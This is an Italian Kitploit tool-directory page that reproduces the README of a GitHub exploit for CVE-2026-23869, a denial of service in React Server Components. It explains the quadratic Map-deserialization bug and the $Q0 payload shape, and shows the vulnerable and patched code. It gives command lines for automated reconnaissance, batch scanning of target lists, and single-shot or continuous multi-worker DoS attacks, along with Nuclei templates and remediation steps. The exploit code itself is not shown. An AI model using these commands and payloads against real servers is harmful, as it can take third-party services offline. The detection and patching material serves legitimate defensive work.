Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Strumento di sfruttamento automatizzato per CVE-2026-23869, un DoS remoto nei React Server Components. Include PoC, template Nuclei e script di scansione per rilevamento e sfruttamento.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
8155 mesi faNon ancora revisionato
Condividi

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Denial-of-Service remoto non autenticato tramite React Flight Protocol
Esaurimento CPU quadratico nella deserializzazione delle Map dei Server Components

Panoramica • Come funziona • Strumenti • Installazione • Utilizzo • Nuclei • Correzione • Disclaimer


Panoramica della vulnerabilità

CampoDettaglio
ID CVECVE-2026-23869
AliasReact2DoS
Punteggio CVSS7.5 (Alto)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consumo di risorse non controllato)
TipoDenial of Service remoto non autenticato
Scoperto daYohann Sillam (Imperva Threat Research)
Versioni vulnerabilireact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
Versioni corretteReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Esiste una vulnerabilità critica di Denial-of-Service nella deserializzazione del protocollo Flight dei React Server Components. Un attaccante non autenticato può inviare una singola richiesta HTTP appositamente costruita a qualsiasi endpoint Server Action dell'App Router di Next.js, causando un esaurimento CPU quadratico O(n²) che blocca il server per minuti.

Riferimenti

  • Avviso ufficiale Vercel
  • Analisi tecnica Imperva — "React2DoS"
  • Patch React PR #36236
  • Voce NVD

Come funziona

Il bug: flag consumed mancante nella deserializzazione delle Map

Il protocollo Flight di React utilizza marcatori speciali per serializzare i tipi di dati. $Q rappresenta un oggetto Map. Quando il server riceve un payload contenente marcatori $Q0 auto-referenziati:

root@kitploit:~
Payload: [ [1,1], [1,1], ...(n voci valide)..., "$Q0", "$Q0", ...(n riferimenti)... ]

Ogni $Q0 attiva un costruttore new Map() che itera su tutte le n voci valide. Il costruttore Map genera un errore (perché le voci sono malformate), ma il bug critico è: il flag consumed non viene mai impostato in caso di errore.

Ciò significa che il successivo $Q0 ricalcola esattamente la stessa Map da zero → creando una complessità O(n²):

root@kitploit:~
n voci valide × n riferimenti $Q0 = n² chiamate al costruttore Map

Esempio: 65.000 × 65.000 = 4.225.000.000 operazioni
Risultato: una singola richiesta blocca la CPU per 5-10+ minuti

Flusso dell'attacco

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Attaccante │ ──────────────────────────────────────▶ │  Server Next.js  │
│          │     Header: Next-Action: <action_id>   │                  │
│          │     Body: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% BLOCCATA   │
└──────────┘                                        │  per ~5-10 min   │
                                                    └──────────────────┘

Codice vulnerabile (prima della correzione)

root@kitploit:~
// ReactFlightReplyServer.js — PRIMA della patch
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Fallisce ma non imposta consumed = true
                         //   Il successivo $Q0 ricalcola da zero
}

Codice corretto (dopo la correzione)

root@kitploit:~
// ReactFlightReplyServer.js — DOPO la patch (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Fix: imposta il flag PRIMA della costruzione
  return new Map(data);  //   Previene il ricalcolo ripetuto
}

Strumenti inclusi

FileDescrizione
poc.pyStrumento di exploit completamente automatico con pipeline a 4 fasi (Recon → Extract → Detect → Exploit)

Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Installa la dipendenza Python
pip install requests

# Rendi eseguibili gli script
chmod +x poc.py scan.sh extract-action-ids.sh

Dipendenze opzionali

root@kitploit:~
# Per la scansione con template Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Per il filtraggio dei target live
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Utilizzo

🔥 Scansione automatica completa (target singolo)

Basta fornire l'URL — lo strumento fa tutto automaticamente:

root@kitploit:~
python3 poc.py -u https://target.com

Cosa succede:

  1. Fase 1 — Recon: Rileva l'impronta di Next.js (header, marcatori HTML, build ID)
  2. Fase 2 — Extract: Trova gli Server Action ID dai bundle JS
  3. Fase 3 — Detect: Verifica di vulnerabilità sicura basata sui tempi (sonda da 500 voci)
  4. Fase 4 — Report: Mostra il verdetto di vulnerabilità con analisi dei tempi

📋 Scansione batch (più target)

root@kitploit:~
# Scansiona un elenco di domini/IP
python3 poc.py -L targets.txt

# Con report JSON in output
python3 poc.py -L targets.txt -o results.json

🎯 Modalità manuale (Action ID noto)

root@kitploit:~
# Solo rilevamento sicuro
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Exploit a colpo singolo
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS continuo (10 worker)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Estrai solo gli Action ID

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ Tutte le opzioni

root@kitploit:~
Options:
  -u, --url URL          URL del target (target singolo)
  -L, --list FILE        File con URL/IP dei target (uno per riga)
  -a, --action-id ID     Server Action ID (salta l'estrazione automatica)
  --detect               Solo rilevamento — sicuro, non distruttivo (predefinito)
  --single               Exploit a colpo singolo dopo il rilevamento
  --exploit              DoS continuo dopo il rilevamento
  --extract              Estrai solo gli action ID
  -l, --length N         Voci del payload (predefinito: 130000)
  -w, --workers N        Worker concorrenti (predefinito: 5)
  -d, --delay SEC        Ritardo tra le richieste (predefinito: 1.0)
  -o, --output FILE      Salva report JSON
  -t, --threads N        Target concorrenti per scansione elenco (predefinito: 3)

Compatibilità all'indietro

La sintassi originale del PoC funziona ancora:

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Template Nuclei

Scansione rapida

root@kitploit:~
# Target singolo
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Più target
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# Output pulito (solo risultati vulnerabili)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

Nota: Il flag -itags dos è obbligatorio perché Nuclei esclude i template DoS per impostazione predefinita per motivi di sicurezza.

Flusso di rilevamento del template

root@kitploit:~
Richiesta 1 (GET /)     →  Rileva l'impronta di Next.js (header + marcatori HTML)
Richiesta 2 (GET /)     →  Estrae gli Server Action ID da createServerReference()  
Richiesta 3 (POST /)    →  Richiesta di baseline temporale (payload benigno)
Richiesta 4 (POST /)    →  Sonda di exploit (250 voci valide + 250 voci $Q0)
                         └─ Se il tempo di risposta ≥ 3s → VULNERABILE

Script di scansione automatica

root@kitploit:~
# Esegue httpx → filtra i target live → scansione nuclei → risultati
./scan.sh

# Oppure specifica file personalizzati
./scan.sh targets1.txt targets2.txt

Logica di rilevamento

Lo strumento utilizza il rilevamento basato sui tempi per identificare in modo sicuro i server vulnerabili:

Il rilevamento è confermato quando:

  • Il tempo di risposta della sonda è ≥ 3 secondi, OPPURE
  • Il rapporto Sonda/Baseline è > 5x con tempo della sonda > 1 secondo

Versioni interessate


Rimedio

  1. Aggiorna React alla versione 19.2.5 o successiva
  2. Aggiorna Next.js alla versione 15.5.15 o 16.2.3 o successiva
  3. Regole WAF: Blocca le richieste con body multipart/form-data anormalmente grandi contenenti marcatori $Q
  4. Rate Limiting: Implementa limiti di frequenza sugli endpoint Server Action
  5. Monitoraggio: Genera alert su utilizzo CPU elevato correlato a richieste POST verso /

Struttura del progetto

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # Questo file
├── poc.py                     # Strumento PoC exploit completamente automatico
├── CVE-2026-23869.yaml        # Template di rilevamento Nuclei
├── scan.sh                    # Scanner automatico httpx + nuclei
└── extract-action-ids.sh      # Estrattore autonomo di action ID

Screenshot

Scansione automatica completa

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  FASE 1 ▸ RICOGNIZIONE                          ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js rilevato (Next.js)
  ✓ Build ID: abc123def456
  ✓ App Router: Server Actions rilevati

  ╔══════════════════════════════════════════════════╗
  ║  FASE 2 ▸ ESTRAZIONE ACTION ID                  ║
  ╚══════════════════════════════════════════════════╝

  ✓ Trovati 3 Action ID:
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  FASE 3 ▸ RILEVAMENTO VULNERABILITÀ              ║
  ╚══════════════════════════════════════════════════╝

  [1/2] Baseline: 0.142s
  [2/2] Sonda:    7.891s (55.6x baseline)

  ██ VULNERABILE — CVE-2026-23869 CONFERMATO ██

Risultati scansione batch

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  RISULTATI SCANSIONE BATCH                                   ║
  ╚══════════════════════════════════════════════════════════════╝

  Scansionati  : 150 target in 45.2s
  Vulnerabili  : 3
  Corretti     : 12
  Saltati      : 135

  🔴 TARGET VULNERABILI
  ─────────────────────────────────────────────────
   #   TARGET                         SONDA     RAPPORTO
     1  vulnerable-app.com             7.89s    55.6x
     2  staging.example.com            4.21s    28.1x
     3  dev.testsite.org              12.33s    82.2x

Disclaimer

⚠️ SOLO PER TEST DI SICUREZZA AUTORIZZATI

Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. L'uso non autorizzato di questo strumento contro target che non possiedi o per i quali non hai esplicita autorizzazione a testare è illegale e può violare le leggi sulla criminalità informatica (CFAA, CMA, ecc.).

Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento. Ottieni sempre la dovuta autorizzazione scritta prima di testare qualsiasi sistema.


Crediti

  • Ricerca sulla vulnerabilità: Yohann Sillam — Imperva Threat Research
  • Sviluppo PoC: cybertechajju
  • Patch React: Team React Facebook/Meta

Stars Forks License

Se lo trovi utile, considera di lasciare una ⭐

Scarica lo strumento
CVE-2026-23869.yamlTemplate di rilevamento Nuclei con orchestrazione basata su flussi
scan.shScript wrapper: filtro live httpx + scansione nuclei
extract-action-ids.shEstrattore autonomo di Server Action ID
MetricaVulnerabileCorretto
Baseline (richiesta benigna)~0.1-0.5s~0.1-0.5s
Sonda (500 voci)3-10+ secondi~0.1-0.5s
Rapporto (Sonda/Baseline)>5x~1x
Payload completo (130K voci)5-10+ minuti~0.1-0.5s
PacchettoVulnerabileCorretto
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+